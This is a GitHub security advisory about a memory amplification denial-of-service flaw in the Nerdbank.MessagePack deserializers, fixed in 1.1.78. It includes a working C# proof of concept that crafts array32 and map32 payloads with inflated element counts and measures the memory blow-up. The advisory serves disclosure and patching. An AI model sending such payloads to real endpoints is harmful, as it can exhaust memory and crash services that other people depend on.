Skip to content

Nerdbank.MessagePack has a memory amplification DoS in collection deserialization

Moderate severity GitHub Reviewed Published May 18, 2026 in AArnott/Nerdbank.MessagePack • Updated May 29, 2026

Package

nuget Nerdbank.MessagePack (NuGet)

Affected versions

< 1.1.78

Patched versions

1.1.78

Description

Nerdbank.MessagePack deserializers for many collection-shaped types trusted the element count declared in MessagePack array and map headers when allocating destination storage. A crafted payload could therefore force large arrays, pooled buffers, dictionaries, or collection instances to be allocated before the deserializer had consumed the corresponding elements.

The same allocation pattern existed across strongly typed arrays, primitive arrays, mutable and immutable dictionaries, mutable enumerables, span-backed enumerable construction, JsonNode, MessagePackValue, and the object/dynamic primitive converters.

Because MessagePack array and map headers carry an attacker-controlled element count, any converter that immediately allocates count elements or constructs a collection with capacity count can turn a payload that is merely large into a much larger managed heap allocation. The reader's residency checks reduce the most extreme header-only attack shape, but they do not remove the memory amplification: minimal MessagePack elements can be one or two bytes on the wire while the managed representation may require object references, dictionary buckets, entries, array headers, or over-allocated collection internals.

Vulnerability Pattern

Affected converters followed one or both of these patterns:

int count = reader.ReadArrayHeader();
TElement[] array = new TElement[count];

int count = reader.ReadMapHeader();
Dictionary<TKey, TValue> map = new(count);

or, for streaming and span-backed construction:

TElement[] elements = ArrayPool<TElement>.Shared.Rent(count);
TCollection collection = getCollection(state, count);

In all affected cases, the allocation size was derived from the untrusted header count before the converter had read the elements. This made deserialization vulnerable to memory amplification and process availability attacks.

Affected Scope

The vulnerable logic was present in multiple converter families:

Converter surface Risk
ArrayConverter<TElement> Allocated new TElement[count] for typed arrays and rented large buffers in async paths.
ArraysOfPrimitivesConverters Allocated or rented TElement[count] for primitive array and span-constructor paths.
MutableEnumerableConverter<TEnumerable, TElement> Passed the untrusted count directly to collection construction.
SpanEnumerableConverter<TEnumerable, TElement> Rented buffers sized to the declared element count.
MutableDictionaryConverter<TDictionary, TKey, TValue> Passed the untrusted map count directly to dictionary construction.
ImmutableDictionaryConverter<TDictionary, TKey, TValue> Rented KeyValuePair<TKey, TValue>[count] before reading entries.
PrimitivesAsObjectConverter and PrimitivesAsDynamicConverter Allocated object arrays and dictionaries from attacker-controlled counts.
JsonNodeConverter Allocated JsonNode?[] from the declared array length.
MessagePackValueConverter Allocated arrays and dictionaries from declared array/map counts.

This means the issue affects normal typed deserialization as well as object/dynamic APIs.
Any endpoint or protocol surface that accepts untrusted MessagePack and deserializes collection-shaped contracts can be affected.

Attack Mechanics

MessagePack encodes array and map lengths up front. For array32 and map32, the declared count can be very large. The reader checks that enough bytes remain to plausibly contain the declared number of elements, so an attacker must provide real payload bytes. However, the managed allocation can still be much larger than the payload.

Examples:

Attack shape Input cost Managed allocation pressure
array32 of nil values into object?[] 1 byte per element 8 bytes per reference on 64-bit runtimes, plus array overhead.
map32 of small keys and nil values into Dictionary<object, object?> 2 bytes per entry Buckets, entries, key/value references, and dictionary overhead.
array32 into typed reference arrays 1 byte per nil element when element type allows null 8 bytes per reference, plus array overhead.
array32 into immutable dictionary staging buffers 2+ bytes per entry KeyValuePair<TKey, TValue>[] staging allocation before construction.
map32 into typed dictionaries 2+ bytes per entry for small keys/values Dictionary capacity is allocated from the declared map count.

At larger counts, the attack can trigger OutOfMemoryException, force full blocking garbage collections, or degrade service through repeated moderate allocations. The impact is availability loss rather than confidentiality or integrity compromise.

Impact

An attacker who can deliver crafted MessagePack data to an endpoint that deserializes collections can:

  • Crash the target process via OutOfMemoryException from a single large payload.
  • Exhaust available memory through repeated moderate payloads.
  • Induce severe GC pressure, increasing latency and reducing throughput.
  • Affect typed DTO and framework integration paths, not only dynamic or untyped deserialization paths.

Concrete affected configurations include:

  • ASP.NET Core, SignalR, RPC, queue, or storage endpoints that deserialize MessagePack request bodies or messages into DTOs with arrays, lists, sets, dictionaries, immutable dictionaries, JsonNode, MessagePackValue, object, or dynamic members.
  • Code calling typed Deserialize<T>() where T contains collection-shaped members.
  • Code calling DeserializePrimitives() or DeserializeDynamicPrimitives() on untrusted input.
  • Applications registering WithObjectConverter() or WithDynamicObjectConverter() for framework integration or ad hoc object graphs.

Severity Rationale

Attack complexity is low. Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.

Privileges required depend on deployment. Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.

User interaction is not required. The attack is triggered during server-side or service-side deserialization.

Availability impact is low. The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.

Proof of Concept

The following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.

using System.Buffers;
using System.Buffers.Binary;
using Nerdbank.MessagePack;

Console.WriteLine("=== Memory Amplification DoS - Nerdbank.MessagePack ===");
Console.WriteLine();

var serializer = new MessagePackSerializer();

// 5-byte array32 header + 1 byte per nil element.
// Deserializing as object?[] allocates one managed reference per element.
const int ObjectArrayCount = 1_000_000;
byte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);

Measure("object?[] array32 nil", objectArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(objectArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

// 5-byte array32 header + 1 byte per integer element.
// A typed int[] target allocates four bytes per element plus array overhead.
const int IntArrayCount = 1_000_000;
byte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);

Measure("int[] array32 fixint", intArrayPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(intArrayPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.Deserialize<int[]>(ref reader);
});

// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.
// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.
const int MapCount = 100_000;
byte[] mapPayload = BuildMap32Payload(MapCount);

Measure("object dictionary map32", mapPayload, () =>
{
    var sequence = new ReadOnlySequence<byte>(mapPayload);
    var reader = new MessagePackReader(sequence);
    return serializer.DeserializePrimitives(ref reader);
});

static void Measure(string name, byte[] payload, Func<object?> deserialize)
{
    GC.Collect();
    long before = GC.GetTotalMemory(true);

    try
    {
        object? result = deserialize();
        long after = GC.GetTotalMemory(false);
        long delta = after - before;
        Console.WriteLine($"[{name}] payload: {payload.Length / 1024.0:F1} KB");
        Console.WriteLine($"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB");
        Console.WriteLine($"[{name}] amplification: {(double)delta / payload.Length:F1}x");
        GC.KeepAlive(result);
    }
    catch (OutOfMemoryException)
    {
        Console.WriteLine($"[{name}] OutOfMemoryException");
    }
    catch (MessagePackSerializationException ex)
    {
        Console.WriteLine($"[{name}] guarded: {ex.Message}");
    }

    Console.WriteLine();
}

static byte[] BuildArray32Payload(int count, byte element)
{
    byte[] payload = new byte[5 + count];
    payload[0] = 0xDD;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);
    payload.AsSpan(5).Fill(element);
    return payload;
}

static byte[] BuildMap32Payload(int count)
{
    byte[] payload = new byte[5 + count * 2];
    payload[0] = 0xDF;
    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);

    for (int i = 0; i < count; i++)
    {
        payload[5 + i * 2] = (byte)(i % 128);
        payload[5 + i * 2 + 1] = 0xC0;
    }

    return payload;
}

Confirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.

Remediation

The deserializer honors input data's prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.

Prior Art

CVE-2026-21452 / GHSA-cw39-r4h6-8j3x: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused ExtensionValue.getData() to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in msgpack-java 0.9.11 by avoiding unbounded allocation.

CVE-2024-48924 / GHSA-4qm4-8hg2-g2xm: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.

References

@AArnott AArnott published to AArnott/Nerdbank.MessagePack May 18, 2026
Published to the GitHub Advisory Database May 29, 2026
Reviewed May 29, 2026
Last updated May 29, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

Weaknesses

Asymmetric Resource Consumption (Amplification)

The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is asymmetric. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-qjvr-435c-5fjh

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.